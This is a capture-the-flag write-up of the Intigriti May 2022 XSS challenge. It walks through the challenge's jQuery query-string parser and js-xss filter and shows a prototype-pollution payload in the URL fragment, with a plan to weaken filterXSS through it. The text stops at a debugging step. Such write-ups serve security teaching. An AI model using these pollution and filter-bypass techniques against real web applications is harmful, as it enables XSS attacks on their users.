Skip to content

Latest commit

 

History

History
1382 lines (1092 loc) · 40.5 KB

2022-06-03-intigriti-may-chal.md

File metadata and controls

1382 lines (1092 loc) · 40.5 KB
layout title subtitle cover-img thumbnail-img share-img tags
post
Prototype Pollution to Overwrite XSS filters!!!
XSS | Prototype Pollution
/assets/img/wsc.jpg
/assets/img/wsc.jpg
/assets/img/wsc.jpg
Web

Edit: Actually I Came to Know that, there are already Public PoCs Avaliable to Solve this Challenge, After Others Posting Solutions. I am Happy Bcoz I was Able to Solve this Chal without Googling for the known PoCs :) [cringe:) but ok!]

Intigriti XSS Chal Writeup - May 2022

Website:

Pollution is consuming ....

Code Analysis:

<!DOCTYPE html>
<html>
<head>
  <script src="https://cdnjs.cloudflare.com/ajax/libs/js-xss/0.3.3/xss.min.js"></script>
  <script src="https://code.jquery.com/jquery-3.5.1.js"></script>
  <script>
    /**
 * jQuery.query - Query String Modification and Creation for jQuery
 * Written by Blair Mitchelmore (blair DOT mitchelmore AT gmail DOT com)
 * Licensed under the WTFPL (http://sam.zoy.org/wtfpl/).
 * Date: 2009/8/13
 *
 * @author Blair Mitchelmore
 * @version 2.2.3
 *
 **/
new function(settings) { 
  // Various Settings
  var $separator = settings.separator || '&';
  var $spaces = settings.spaces === false ? false : true;
  var $suffix = settings.suffix === false ? '' : '[]';
  var $prefix = settings.prefix === false ? false : true;
  var $hash = $prefix ? settings.hash === true ? "#" : "?" : "";
  var $numbers = settings.numbers === false ? false : true;

  jQuery.query = new function() {
    var is = function(o, t) {
      return o != undefined && o !== null && (!!t ? o.constructor == t : true);
    };
    var parse = function(path) {
      var m, rx = /\[([^[]*)\]/g, match = /^([^[]+)(\[.*\])?$/.exec(path), base = match[1], tokens = [];
      while (m = rx.exec(match[2])) tokens.push(m[1]);
      return [base, tokens];
    };
    var set = function(target, tokens, value) {
      var o, token = tokens.shift();
      if (typeof target != 'object') target = null;
      if (token === "") {
        if (!target) target = [];
        if (is(target, Array)) {
          target.push(tokens.length == 0 ? value : set(null, tokens.slice(0), value));
        } else if (is(target, Object)) {
          var i = 0;
          while (target[i++] != null);
          target[--i] = tokens.length == 0 ? value : set(target[i], tokens.slice(0), value);
        } else {
          target = [];
          target.push(tokens.length == 0 ? value : set(null, tokens.slice(0), value));
        }
      } else if (token && token.match(/^\s*[0-9]+\s*$/)) {
        var index = parseInt(token, 10);
        if (!target) target = [];
        target[index] = tokens.length == 0 ? value : set(target[index], tokens.slice(0), value);
      } else if (token) {
        var index = token.replace(/^\s*|\s*$/g, "");
        if (!target) target = {};
        if (is(target, Array)) {
          var temp = {};
          for (var i = 0; i < target.length; ++i) {
            temp[i] = target[i];
          }
          target = temp;
        }
        target[index] = tokens.length == 0 ? value : set(target[index], tokens.slice(0), value);
      } else {
        return value;
      }
      return target;
    };
    
    var queryObject = function(a) {
      var self = this;
      self.keys = {};
      
      if (a.queryObject) {
        jQuery.each(a.get(), function(key, val) {
          self.SET(key, val);
        });
      } else {
        self.parseNew.apply(self, arguments);
      }
      return self;
    };
    
    queryObject.prototype = {
      queryObject: true,
      parseNew: function(){
        var self = this;
        self.keys = {};
        jQuery.each(arguments, function() {
          var q = "" + this;
          q = q.replace(/^[?#]/,''); // remove any leading ? || #
          q = q.replace(/[;&]$/,''); // remove any trailing & || ;
          if ($spaces) q = q.replace(/[+]/g,' '); // replace +'s with spaces
          
          jQuery.each(q.split(/[&;]/), function(){
            var key = decodeURIComponent(this.split('=')[0] || "");
            var val = decodeURIComponent(this.split('=')[1] || "");
            
            if (!key) return;
            
            if ($numbers) {
              if (/^[+-]?[0-9]+\.[0-9]*$/.test(val)) // simple float regex
                val = parseFloat(val);
              else if (/^[+-]?[1-9][0-9]*$/.test(val)) // simple int regex
                val = parseInt(val, 10);
            }
            
            val = (!val && val !== 0) ? true : val;
            
            self.SET(key, val);
          });
        });
        return self;
      },
      has: function(key, type) {
        var value = this.get(key);
        return is(value, type);
      },
      GET: function(key) {
        if (!is(key)) return this.keys;
        var parsed = parse(key), base = parsed[0], tokens = parsed[1];
        var target = this.keys[base];
        while (target != null && tokens.length != 0) {
          target = target[tokens.shift()];
        }
        return typeof target == 'number' ? target : target || "";
      },
      get: function(key) {
        var target = this.GET(key);
        if (is(target, Object))
          return jQuery.extend(true, {}, target);
        else if (is(target, Array))
          return target.slice(0);
        return target;
      },
      SET: function(key, val) {
        var value = !is(val) ? null : val;
        var parsed = parse(key), base = parsed[0], tokens = parsed[1];
        var target = this.keys[base];
        this.keys[base] = set(target, tokens.slice(0), value);
        return this;
      },
      set: function(key, val) {
        return this.copy().SET(key, val);
      },
      REMOVE: function(key, val) {
        if (val) {
          var target = this.GET(key);
          if (is(target, Array)) {
            for (tval in target) {
                target[tval] = target[tval].toString();
            }
            var index = $.inArray(val, target);
            if (index >= 0) {
              key = target.splice(index, 1);
              key = key[index];
            } else {
              return;
            }
          } else if (val != target) {
              return;
          }
        }
        return this.SET(key, null).COMPACT();
      },
      remove: function(key, val) {
        return this.copy().REMOVE(key, val);
      },
      EMPTY: function() {
        var self = this;
        jQuery.each(self.keys, function(key, value) {
          delete self.keys[key];
        });
        return self;
      },
      load: function(url) {
        var hash = url.replace(/^.*?[#](.+?)(?:\?.+)?$/, "$1");
        var search = url.replace(/^.*?[?](.+?)(?:#.+)?$/, "$1");
        return new queryObject(url.length == search.length ? '' : search, url.length == hash.length ? '' : hash);
      },
      empty: function() {
        return this.copy().EMPTY();
      },
      copy: function() {
        return new queryObject(this);
      },
      COMPACT: function() {
        function build(orig) {
          var obj = typeof orig == "object" ? is(orig, Array) ? [] : {} : orig;
          if (typeof orig == 'object') {
            function add(o, key, value) {
              if (is(o, Array))
                o.push(value);
              else
                o[key] = value;
            }
            jQuery.each(orig, function(key, value) {
              if (!is(value)) return true;
              add(obj, key, build(value));
            });
          }
          return obj;
        }
        this.keys = build(this.keys);
        return this;
      },
      compact: function() {
        return this.copy().COMPACT();
      },
      toString: function() {
        var i = 0, queryString = [], chunks = [], self = this;
        var encode = function(str) {
          str = str + "";
          str = encodeURIComponent(str);
          if ($spaces) str = str.replace(/%20/g, "+");
          return str;
        };
        var addFields = function(arr, key, value) {
          if (!is(value) || value === false) return;
          var o = [encode(key)];
          if (value !== true) {
            o.push("=");
            o.push(encode(value));
          }
          arr.push(o.join(""));
        };
        var build = function(obj, base) {
          var newKey = function(key) {
            return !base || base == "" ? [key].join("") : [base, "[", key, "]"].join("");
          };
          jQuery.each(obj, function(key, value) {
            if (typeof value == 'object') 
              build(value, newKey(key));
            else
              addFields(chunks, newKey(key), value);
          });
        };
        
        build(this.keys);
        
        if (chunks.length > 0) queryString.push($hash);
        queryString.push(chunks.join($separator));
        
        return queryString.join("");
      }
    };
    
    return new queryObject(location.search, location.hash);
  };
}(jQuery.query || {}); // Pass in jQuery.query as settings object

  </script>
  <style>
   // Boring CSS
  </style>
</head>
<body>
<h1 id="root"></h1>
<script>
  var pages = {
    1: `HOME
      <h5>Pollution is consuming the world. It's killing all the plants and ruining nature, but we won't let that happen! Our products will help you save the planet and yourself by purifying air naturally.</h5>`,
    2: `PRODUCTS
      <br>
    <footer>
        <img src="https://miro.medium.com/max/1000/1*Cd9sLiby5ibLJAkixjCidw.jpeg" width="150" height="200" alt="Snake Plant"></img><span>Snake Plant</span>
      </footer>
      <footer>
        <img src="https://miro.medium.com/max/1000/1*wlzwrBXYoDDkaAag_CT-AA.jpeg" width="150" height="200" alt="Areca Palm"></img><span>Areca Palm</span>
      </footer>
    <footer>
        <img src="https://miro.medium.com/max/1000/1*qn_6G8NV4xg_J0luFbY47w.jpeg" width="150" height="200" alt="Rubber Plant"></img><span>Rubber Plant</span>
        </footer>`,
    3: `CONTACT
      <br><br>
      <b>
        <a href="https://www.facebook.com/intigriticom/"><img src="https://cdn-icons-png.flaticon.com/512/124/124010.png" width="50" height="50" alt="Facebook"></img></a>
        <a href="https://www.linkedin.com/company/intigriti/"><img src="https://cdn-icons-png.flaticon.com/512/61/61109.png" width="50" height="50" alt="LinkedIn"></img></a>
        <a href="https://twitter.com/intigriti"><img src="https://cdn-icons-png.flaticon.com/512/124/124021.png" width="50" height="50" alt="Twitter"></img></a>
        <a href="https://www.instagram.com/hackwithintigriti/"><img src="https://cdn-icons-png.flaticon.com/512/174/174855.png" width="50" height="50" alt="Instagram"></img></a>
      </b>
      `,
    4: `
      <div class="dropdown">
        <div id="myDropdown" class="dropdown-content">
          <a href = "?page=1">Home</a>
          <a href = "?page=2">Products</a>
          <a href = "?page=3">Contact</a>
        </div>
      </div>`
  };

  var pl = $.query.get('page');
  if(pages[pl] != undefined){
    console.log(pages);
    document.getElementById("root").innerHTML = pages['4']+filterXSS(pages[pl]);
  }else{
    document.location.search = "?page=1"
  }
</script>
</body>
</html>

Too Much Code, Lets Walk through the Code :)

External Scripts

var pl = $.query.get('page');

if(pages[pl] != undefined){

	document.getElementById("root").innerHTML = pages['4']+filterXSS(pages[pl]);

}
else{
	
	document.location.search = "?page=1"

}
  • What is pages? Pages is a Javascript Object, If the GET parameter page is 1, then the Above Code will innerHTML <h5>Pollution is cons...</h5>.
  • According to our input (?page=<input>), the Bellow data will be innerHTMLed into the page with Respect to Pages Object which have only 4 Options.
var pages = {

1: `HOME

<h5>Pollution is consuming the world. It's killing all the plants and ruining nature, but we won't let that happen! Our products will help you save the planet and yourself by purifying air naturally.</h5>`,

2: `PRODUCTS

<br>

<footer>

<img src="https://miro.medium.com/max/1000/1*Cd9sLiby5ibLJAkixjCidw.jpeg" width="150" height="200" alt="Snake Plant"></img><span>Snake Plant</span>

</footer>

<footer>

<img src="https://miro.medium.com/max/1000/1*wlzwrBXYoDDkaAag_CT-AA.jpeg" width="150" height="200" alt="Areca Palm"></img><span>Areca Palm</span>

</footer>

<footer>

<img src="https://miro.medium.com/max/1000/1*qn_6G8NV4xg_J0luFbY47w.jpeg" width="150" height="200" alt="Rubber Plant"></img><span>Rubber Plant</span>

</footer>`,

3: `CONTACT

<br><br>

<b>

<a href="https://www.facebook.com/intigriticom/"><img src="https://cdn-icons-png.flaticon.com/512/124/124010.png" width="50" height="50" alt="Facebook"></img></a>

<a href="https://www.linkedin.com/company/intigriti/"><img src="https://cdn-icons-png.flaticon.com/512/61/61109.png" width="50" height="50" alt="LinkedIn"></img></a>

<a href="https://twitter.com/intigriti"><img src="https://cdn-icons-png.flaticon.com/512/124/124021.png" width="50" height="50" alt="Twitter"></img></a>

<a href="https://www.instagram.com/hackwithintigriti/"><img src="https://cdn-icons-png.flaticon.com/512/174/174855.png" width="50" height="50" alt="Instagram"></img></a>

</b>

`,

4: `

<div class="dropdown">

<div id="myDropdown" class="dropdown-content">

<a href = "?page=1">Home</a>

<a href = "?page=2">Products</a>

<a href = "?page=3">Contact</a>

</div>

</div>`

};

Source and Sink:

  • Source: ?page=<source>, We can Pass any value here, But there is a If Condition, that Checks if the userinput is not undefined or return something when passed to pages Object.
  • Sink: innerHTML, If our Input is passed the If condition, Our Input is Filtered and Passed Into innerHTML.
var pl = $.query.get('page');

if(pages[pl] != undefined){

	document.getElementById("root").innerHTML = pages['4']+filterXSS(pages[pl]);

}
else{
	
	document.location.search = "?page=1"

}

How $.query.get('page') Works?

new function(settings) { 
  // Various Settings
  var $separator = settings.separator || '&';
  var $spaces = settings.spaces === false ? false : true;
  var $suffix = settings.suffix === false ? '' : '[]';
  var $prefix = settings.prefix === false ? false : true;
  var $hash = $prefix ? settings.hash === true ? "#" : "?" : "";
  var $numbers = settings.numbers === false ? false : true;

  jQuery.query = new function() {
    var is = function(o, t) {
      return o != undefined && o !== null && (!!t ? o.constructor == t : true);
    };
    var parse = function(path) {
      var m, rx = /\[([^[]*)\]/g, match = /^([^[]+)(\[.*\])?$/.exec(path), base = match[1], tokens = [];
      while (m = rx.exec(match[2])) tokens.push(m[1]);
      return [base, tokens];
    };
    var set = function(target, tokens, value) {
      var o, token = tokens.shift();
      if (typeof target != 'object') target = null;
      if (token === "") {
        if (!target) target = [];
        if (is(target, Array)) {
          target.push(tokens.length == 0 ? value : set(null, tokens.slice(0), value));
        } else if (is(target, Object)) {
          var i = 0;
          while (target[i++] != null);
          target[--i] = tokens.length == 0 ? value : set(target[i], tokens.slice(0), value);
        } else {
          target = [];
          target.push(tokens.length == 0 ? value : set(null, tokens.slice(0), value));
        }
      } else if (token && token.match(/^\s*[0-9]+\s*$/)) {
        var index = parseInt(token, 10);
        if (!target) target = [];
        target[index] = tokens.length == 0 ? value : set(target[index], tokens.slice(0), value);
      } else if (token) {
        var index = token.replace(/^\s*|\s*$/g, "");
        if (!target) target = {};
        if (is(target, Array)) {
          var temp = {};
          for (var i = 0; i < target.length; ++i) {
            temp[i] = target[i];
          }
          target = temp;
        }
        target[index] = tokens.length == 0 ? value : set(target[index], tokens.slice(0), value);
      } else {
        return value;
      }
      return target;
    };
    
    var queryObject = function(a) {
      var self = this;
      self.keys = {};
      
      if (a.queryObject) {
        jQuery.each(a.get(), function(key, val) {
          self.SET(key, val);
        });
      } else {
        self.parseNew.apply(self, arguments);
      }
      return self;
    };
    
    queryObject.prototype = {
      queryObject: true,
      parseNew: function(){
        var self = this;
        self.keys = {};
        jQuery.each(arguments, function() {
          var q = "" + this;
          q = q.replace(/^[?#]/,''); // remove any leading ? || #
          q = q.replace(/[;&]$/,''); // remove any trailing & || ;
          if ($spaces) q = q.replace(/[+]/g,' '); // replace +'s with spaces
          
          jQuery.each(q.split(/[&;]/), function(){
            var key = decodeURIComponent(this.split('=')[0] || "");
            var val = decodeURIComponent(this.split('=')[1] || "");
            
            if (!key) return;
            
            if ($numbers) {
              if (/^[+-]?[0-9]+\.[0-9]*$/.test(val)) // simple float regex
                val = parseFloat(val);
              else if (/^[+-]?[1-9][0-9]*$/.test(val)) // simple int regex
                val = parseInt(val, 10);
            }
            
            val = (!val && val !== 0) ? true : val;
            
            self.SET(key, val);
          });
        });
        return self;
      },
      has: function(key, type) {
        var value = this.get(key);
        return is(value, type);
      },
      GET: function(key) {
        if (!is(key)) return this.keys;
        var parsed = parse(key), base = parsed[0], tokens = parsed[1];
        var target = this.keys[base];
        while (target != null && tokens.length != 0) {
          target = target[tokens.shift()];
        }
        return typeof target == 'number' ? target : target || "";
      },
      get: function(key) {
        var target = this.GET(key);
        if (is(target, Object))
          return jQuery.extend(true, {}, target);
        else if (is(target, Array))
          return target.slice(0);
        return target;
      },
      SET: function(key, val) {
        var value = !is(val) ? null : val;
        var parsed = parse(key), base = parsed[0], tokens = parsed[1];
        var target = this.keys[base];
        this.keys[base] = set(target, tokens.slice(0), value);
        return this;
      },
      set: function(key, val) {
        return this.copy().SET(key, val);
      },
      REMOVE: function(key, val) {
        if (val) {
          var target = this.GET(key);
          if (is(target, Array)) {
            for (tval in target) {
                target[tval] = target[tval].toString();
            }
            var index = $.inArray(val, target);
            if (index >= 0) {
              key = target.splice(index, 1);
              key = key[index];
            } else {
              return;
            }
          } else if (val != target) {
              return;
          }
        }
        return this.SET(key, null).COMPACT();
      },
      remove: function(key, val) {
        return this.copy().REMOVE(key, val);
      },
      EMPTY: function() {
        var self = this;
        jQuery.each(self.keys, function(key, value) {
          delete self.keys[key];
        });
        return self;
      },
      load: function(url) {
        var hash = url.replace(/^.*?[#](.+?)(?:\?.+)?$/, "$1");
        var search = url.replace(/^.*?[?](.+?)(?:#.+)?$/, "$1");
        return new queryObject(url.length == search.length ? '' : search, url.length == hash.length ? '' : hash);
      },
      empty: function() {
        return this.copy().EMPTY();
      },
      copy: function() {
        return new queryObject(this);
      },
      COMPACT: function() {
        function build(orig) {
          var obj = typeof orig == "object" ? is(orig, Array) ? [] : {} : orig;
          if (typeof orig == 'object') {
            function add(o, key, value) {
              if (is(o, Array))
                o.push(value);
              else
                o[key] = value;
            }
            jQuery.each(orig, function(key, value) {
              if (!is(value)) return true;
              add(obj, key, build(value));
            });
          }
          return obj;
        }
        this.keys = build(this.keys);
        return this;
      },
      compact: function() {
        return this.copy().COMPACT();
      },
      toString: function() {
        var i = 0, queryString = [], chunks = [], self = this;
        var encode = function(str) {
          str = str + "";
          str = encodeURIComponent(str);
          if ($spaces) str = str.replace(/%20/g, "+");
          return str;
        };
        var addFields = function(arr, key, value) {
          if (!is(value) || value === false) return;
          var o = [encode(key)];
          if (value !== true) {
            o.push("=");
            o.push(encode(value));
          }
          arr.push(o.join(""));
        };
        var build = function(obj, base) {
          var newKey = function(key) {
            return !base || base == "" ? [key].join("") : [base, "[", key, "]"].join("");
          };
          jQuery.each(obj, function(key, value) {
            if (typeof value == 'object') 
              build(value, newKey(key));
            else
              addFields(chunks, newKey(key), value);
          });
        };
        
        build(this.keys);
        
        if (chunks.length > 0) queryString.push($hash);
        queryString.push(chunks.join($separator));
        
        return queryString.join("");
      }
    };
    
    return new queryObject(location.search, location.hash); // Interesting Part Bro :) 
  };
}(jQuery.query || {}); // Pass in jQuery.query as settings object

Uff, Again Too Much Code, Lets Walk Through :)

Basic Structure

new function(){
...
...
	jQuery.query = new function(){
		var is = function() {
			...
		};
		var parse = function() {
			...
		};
		var set = function(){
			...
			...
			...
		};
		var queryObject = function(){
			...
			...
		};
		queryObject.prototype = {
			queryObject: true,
			parseNew: function(){
				...
				...
				...
			};

		has: function(){
			...
		},
		GET: function(){
			...
		},
		get: function(){
			...
		},
		SET: function(){
			...
		},
		set: function(){
			...
		},
		REMOVE: function(){
			...
		},
		remove: function(){
			...
		},
		load: function(){
			...
		},
		empty: function(){
			...
		},
		copy: function(){
			...
		},
		COMPACT: function(){
			...
		},
		compact: function(){
			...
		},
		toString: function(){
			...
			...
			...
		},
	};
	
	return new queryObject(location.search, location.hash)	// Interesting Part :)	

}(jQuery.query || {});
  • Ok Wait, Don't get Scared. Most of the Code is Unwanted or not used as sink for this Challenge.

  • We Already Know, We can Give Control ?page=<value>.

  • return new queryObject(location.search, location.hash). This Part is the Most Interesting Part of the Code.

  • What is queryObject? queryObject is a Constructor Function. Constructor Function automatically Returns the Object, We don't need to Manually write return Statement.

var queryObject = function(a) {

var self = this;

self.keys = {};

if (a.queryObject) {

jQuery.each(a.get(), function(key, val) {

self.SET(key, val);

});

} else {

self.parseNew.apply(self, arguments);

}

return self;

};
  • we need to pass one parameter as argument. to queryObject function.
  • If the Function using this Keyword, Then the Function is Called Constructor Function. Here, this is mapped to self. self == this
  • When queryObject Function is Called, location.search and location.hash are Concatenated as Single String and passed to queryObject function.
  • location.search will return the GET parameters. like http://abc.xss?page=2 -> location.search will return -> ?page=2.
  • location.hash will return strings after fragment part (#). like http://abc.xss?search=20#123 -> location.hash->will return #123

  • We Can Put Anything after # which is passed as argument to queryObject, and also which this Does't Break the IF statement [if pages(pl) != undefined{...}]
  • Now Our Potential Source is location.hash.

Let's Dig Into This :)

I Copied the Full Code and made a Local Setup for Debugging.

$.query.get

  • $.query.get required one parameter, where the GET param page is passed.
  • return jQuery.extend(true, {}, target); . Basically jQuery.extend will do a merge Operation. In Past, jQuery.extend was vulnerable to Prototype Pollution. Not now :(
get: function(key) {

	var target = this.GET(key);

	if (is(target, Object))

	return jQuery.extend(true, {}, target);

	else if (is(target, Array))

	return target.slice(0);

	return target;

},
  • this.GET(key)? is(target, Object)?

  • Lets see how is function works
var is = function(o, t) {

	return o != undefined && o !== null && (!!t ? o.constructor == t : true);

};
  • we need to pass 2 parameters as arguments to is function.
  • Basically is function Returns boolean values.
  • The Purpose if is function is to Check the Datatype of first passed argument.
  • So If, is([],Array) will return true.


  • Let see How this.GET(key) works
GET: function(key) {

	if (!is(key)) return this.keys;

	var parsed = parse(key), base = parsed[0], tokens = parsed[1];

	var target = this.keys[base];

	while (target != null && tokens.length != 0) {

	target = target[tokens.shift()];

	}

	return typeof target == 'number' ? target : target || "";

}
  • parse(key)?

  • Lets see How parse function works
var parse = function(path) {

	var m, rx = /\[([^[]*)\]/g, match = /^([^[]+)(\[.*\])?$/.exec(path),base = match[1], tokens = [];

	while (m = rx.exec(match[2])) tokens.push(m[1]);

	return [base, tokens];

};
  • This parse Function Required one parameter as argument.
  • Some Weird Regex Matching Stuffs Uff.

rx:

  • In Simple Words, Match all Characters inside [].

  • match = /^([^[]+)(\[.*\])?$/.exec(path). Lets Look at the this Regex,

match:

  • This match regex looks for array or Object Based path. like ?lol=a[b]=[c].
  • This parse function will return 2 values.


  • Let again see How this.GET(key)
GET: function(key) {

	if (!is(key)) return this.keys;

	var parsed = parse(key), base = parsed[0], tokens = parsed[1];

	var target = this.keys[base];

	while (target != null && tokens.length != 0) {

	target = target[tokens.shift()];

	}

	return typeof target == 'number' ? target : target || "";

}
  • In is function, If we only passed one argument, it always return true. Bcoz of this Condition ... o.constructor == t : true

  • parsed = parse(key) Will return 2 values, base = parsed[0], tokens = parsed[1]. 1st Return value is stored in base and 2nd in tokens. tokens Data type is Array, We already Saw that.
  • var target = this.keys[base];. this.keys?
  • We already Looked into queryObject..
var queryObject = function(a) {

	var self = this;

	self.keys = {};	
	...
	...
};
  • Ya, this.keys is a Object, this.keys[base] should return something, if it does't, then the while Loop condition will be set to False.

  • Lets Again Look into queryObject function.

var queryObject = function(a) {
	var self = this;
	self.keys = {};
	if (a.queryObject) {
		jQuery.each(a.get(), function(key, val) {
		self.SET(key, val);
	});
	} else {
		self.parseNew.apply(self, arguments);
	}
	return self;
};
  • The IF Condition will run if a.queryObject return something. a is user passed argument, location.search,location.hash.

  • ELSE, parseNew function will be Executed.

  • Lets look intoSET(key, val) and parseNew.

  • SET(key, val):

  • required 2 arguments from user, key and val.

  • we already aware of parse() and set()?

SET: function(key, val) {

	var value = !is(val) ? null : val;

	var parsed = parse(key), base = parsed[0], tokens = parsed[1];

	var target = this.keys[base];



	this.keys[base] = set(target, tokens.slice(0), value);

return this;
  • Lets Look Into set function.
var set = function(target, tokens, value) {
	var o, token = tokens.shift();
	if (typeof target != 'object') target = null;
	if (token === "") {
		if (!target) target = [];
		if (is(target, Array)) {
			target.push(tokens.length == 0 ? value : set(null, tokens.slice(0), value));
		} else if (is(target, Object)) {
			var i = 0;
			while (target[i++] != null);
				target[--i] = tokens.length == 0 ? value : set(target[i], tokens.slice(0), value);
		} else {
			target = [];
			target.push(tokens.length == 0 ? value : set(null, tokens.slice(0), value));
			}
		} else if (token && token.match(/^\s*[0-9]+\s*$/)) {
	var index = parseInt(token, 10);
	if (!target) target = [];
	target[index] = tokens.length == 0 ? value : set(target[index], tokens.slice(0), value);
	} else if (token) {
	var index = token.replace(/^\s*|\s*$/g, "");
	if (!target) target = {};
	if (is(target, Array)) {
		var temp = {};
		for (var i = 0; i < target.length; ++i) {
		temp[i] = target[i];
		}

	target = temp;
	}

	target[index] = tokens.length == 0 ? value : set(target[index], tokens.slice(0), value);
		} else {
		return value;
		}
	return target;
};
  • Yep, It's Big Code. Let me Explain this in Simple Words.
  • tokens.shift(); Basically Shift function will return only one element one by one.

  • This set function required 3 arguments. target, tokens and value
  • typeof keyword will return the data type. In the First IF condition, if the datatype of the target is not Object, then target is set to null
  • And Other IF ELSE conditions check the datatype of target with is function and calling set.
  • So, According to the datatype of the target, this set function performs a merge operation. merge Ya, Prototype Pollution...

  • Once Again Lets Look into queryObject function.
var queryObject = function(a) {
      var self = this;
      self.keys = {};
      
      if (a.queryObject) {
        jQuery.each(a.get(), function(key, val) {
          self.SET(key, val);
        });
      } else {
        self.parseNew.apply(self, arguments);
      }
      return self;
    };
  • So, if a.queryObject return something, then self.SET will be called. self mapped this. self == this
  • Else, self.parsedNew will be called.
  • The apply() method is similar to the call() method

  • Let's Look into parsedNew.
parseNew: function(){
	var self = this;
	self.keys = {};
	jQuery.each(arguments, function() {
	var q = "" + this;
	q = q.replace(/^[?#]/,''); // remove any leading ? || #
	q = q.replace(/[;&]$/,''); // remove any trailing & || ;
	
	if ($spaces) q = q.replace(/[+]/g,' '); // replace +'s with spaces

	jQuery.each(q.split(/[&;]/), function(){
		var key = decodeURIComponent(this.split('=')[0] || "");
		var val = decodeURIComponent(this.split('=')[1] || "");

		if (!key) return;
		if ($numbers) {
			if (/^[+-]?[0-9]+\.[0-9]*$/.test(val)) // simple float regex
			val = parseFloat(val);
			else if (/^[+-]?[1-9][0-9]*$/.test(val)) // simple int regex
			val = parseInt(val, 10);
			}
		val = (!val && val !== 0) ? true : val;
		self.SET(key, val);
		});
	});

	return self;

}
  • In jQuery.each loop,
var q = "" + this;

q = q.replace(/^[?#]/,''); // remove any leading ? || #

q = q.replace(/[;&]$/,''); // remove any trailing & || ;

if ($spaces) q = q.replace(/[+]/g,' '); // replace +'s with spaces

jQuery.each(q.split(/[&;]/), function(){
...
...
});
  • Replacing ?,#,&,|| with '', and Converting + to ' '. [url-decoding]
  • Lets Look into Nested jQuery.each - jQuery.each(q.split(/[&;]/)
var key = decodeURIComponent(this.split('=')[0] || "");
var val = decodeURIComponent(this.split('=')[1] || "");

if (!key) return;
if ($numbers) {
	if (/^[+-]?[0-9]+\.[0-9]*$/.test(val)) // simple float regex
	val = parseFloat(val);

	else if (/^[+-]?[1-9][0-9]*$/.test(val)) // simple int regex
	val = parseInt(val, 10);
}

val = (!val && val !== 0) ? true : val;
self.SET(key, val);

Note: decodeURIComponent(this.split('=')[0] || ""); - decodeURIComponent will be called after the spliting. By URL-encoding the =, We can Bypass this split function. This will be useful at end.

  • split keyword is used to split a string according to a condition and return as a list. like var a = 'a&c'; -> a.split('&') -> [a,c]
  • Before passing to SET, value of val is checked if the datatype is int or float. After the Check, SET is called with key and val as arguments.

Exploit IDEA:

  • Pollution the Object Prototype to Add a new Key-Value Pair.
  • Bypassing filterXSS function with prototype Pollution. [will Explain in that part]

Exploitation:

  • I already Told about the source. (return new queryObject(location.search, location.hash))
  • url : http://localhost/index.html?page=2#a[__proto__][abcd]=xss

  • Upon changing the from page=2#payload -> page=abcd#a[__proto__][abcd]=xss

  • Yep, We Completed 50%.
  • Our Input is Not directly Passed into InnerHTML.
document.getElementById("root").innerHTML = pages['4']+filterXSS(pages[pl]);
  • Our Input is passed Filtered with filterXSS function.
  • This filterXSS function comes from https://cdnjs.cloudflare.com/ajax/libs/js-xss/0.3.3/xss.js
  • There are 1000's of lines of Code. So, I searched for this filterXSS Function.
  • Here is the Function I got.
function filterXSS (html, options) {
  var xss = new FilterXSS(options);
  return xss.process(html);
}
  • We can Pass 2 arguments, but here filterXSS(pages[pl]), Only 1 argument is passed.
  • We can't Bypass this Function as Simple. Bcoz there are lot's for check Going Behind this. Bypassing filterXSS to get XSS is not intended Solution :)
  • process()?
  • Upon Searching for process in https://cdnjs.cloudflare.com/ajax/libs/js-xss/0.3.3/xss.js
  • I got the process function. But the Points is, this process function is not directly declared. process function is Injected into the Object PROTOTYPE.
FilterXSS.prototype.process = function (html) {
  // 兼容各种奇葩输入
  html = html || '';
  html = html.toString();
  if (!html) return '';

  var me = this;
  var options = me.options;
  var whiteList = options.whiteList;
  var onTag = options.onTag;
  var onIgnoreTag = options.onIgnoreTag;
  var onTagAttr = options.onTagAttr;
  var onIgnoreTagAttr = options.onIgnoreTagAttr;
  var safeAttrValue = options.safeAttrValue;
  var escapeHtml = options.escapeHtml;
  var cssFilter = me.cssFilter;

  // 是否清除不可见字符
  if (options.stripBlankChar) {
    html = DEFAULT.stripBlankChar(html);
  }

  // 是否禁止备注标签
  if (!options.allowCommentTag) {
    html = DEFAULT.stripCommentTag(html);
  }

  // 如果开启了stripIgnoreTagBody
  var stripIgnoreTagBody = false;
  if (options.stripIgnoreTagBody) {
    var stripIgnoreTagBody = DEFAULT.StripTagBody(options.stripIgnoreTagBody, onIgnoreTag);
    onIgnoreTag = stripIgnoreTagBody.onIgnoreTag;
  }

  var retHtml = parseTag(html, function (sourcePosition, position, tag, html, isClosing) {
    var info = {
      sourcePosition: sourcePosition,
      position:       position,
      isClosing:      isClosing,
      isWhite:        (tag in whiteList)
    };

    // 调用onTag处理
    var ret = onTag(tag, html, info);
    if (!isNull(ret)) return ret;

    // 默认标签处理方法
    if (info.isWhite) {
      // 白名单标签,解析标签属性
      // 如果是闭合标签,则不需要解析属性
      if (info.isClosing) {
        return '</' + tag + '>';
      }

      var attrs = getAttrs(html);
      var whiteAttrList = whiteList[tag];
      var attrsHtml = parseAttr(attrs.html, function (name, value) {

        // 调用onTagAttr处理
        var isWhiteAttr = (_.indexOf(whiteAttrList, name) !== -1);
        var ret = onTagAttr(tag, name, value, isWhiteAttr);
        if (!isNull(ret)) return ret;

        // 默认的属性处理方法
        if (isWhiteAttr) {
          // 白名单属性,调用safeAttrValue过滤属性值
          value = safeAttrValue(tag, name, value, cssFilter);
          if (value) {
            return name + '="' + value + '"';
          } else {
            return name;
          }
        } else {
          // 非白名单属性,调用onIgnoreTagAttr处理
          var ret = onIgnoreTagAttr(tag, name, value, isWhiteAttr);
          if (!isNull(ret)) return ret;
          return;
        }
      });

      // 构造新的标签代码
      var html = '<' + tag;
      if (attrsHtml) html += ' ' + attrsHtml;
      if (attrs.closing) html += ' /';
      html += '>';
      return html;

    } else {
      // 非白名单标签,调用onIgnoreTag处理
      var ret = onIgnoreTag(tag, html, info);
      if (!isNull(ret)) return ret;
      return escapeHtml(html);
    }

  }, escapeHtml);

  // 如果开启了stripIgnoreTagBody,需要对结果再进行处理
  if (stripIgnoreTagBody) {
    retHtml = stripIgnoreTagBody.remove(retHtml);
  }

  return retHtml;
};
  • This is a Huge Function with lots of Stuffs. btw, we Don't Need to Look into this. Bcoz, We already Have Prototype Pollution. We can Write or Overwrite key-values into Object Prototype.

In order to Bypass this function, We are Going to Overwrite the process to make that Weaker to allow our payload :)

Debug:

  • To Understand, What to Overwrite, I came back to Localsetup
  • I added a Console.log on process function to Look into it.

  • Upon Reloading the Page

url: http://localhost?page=abcd#a[__proto__][abcd]=xss

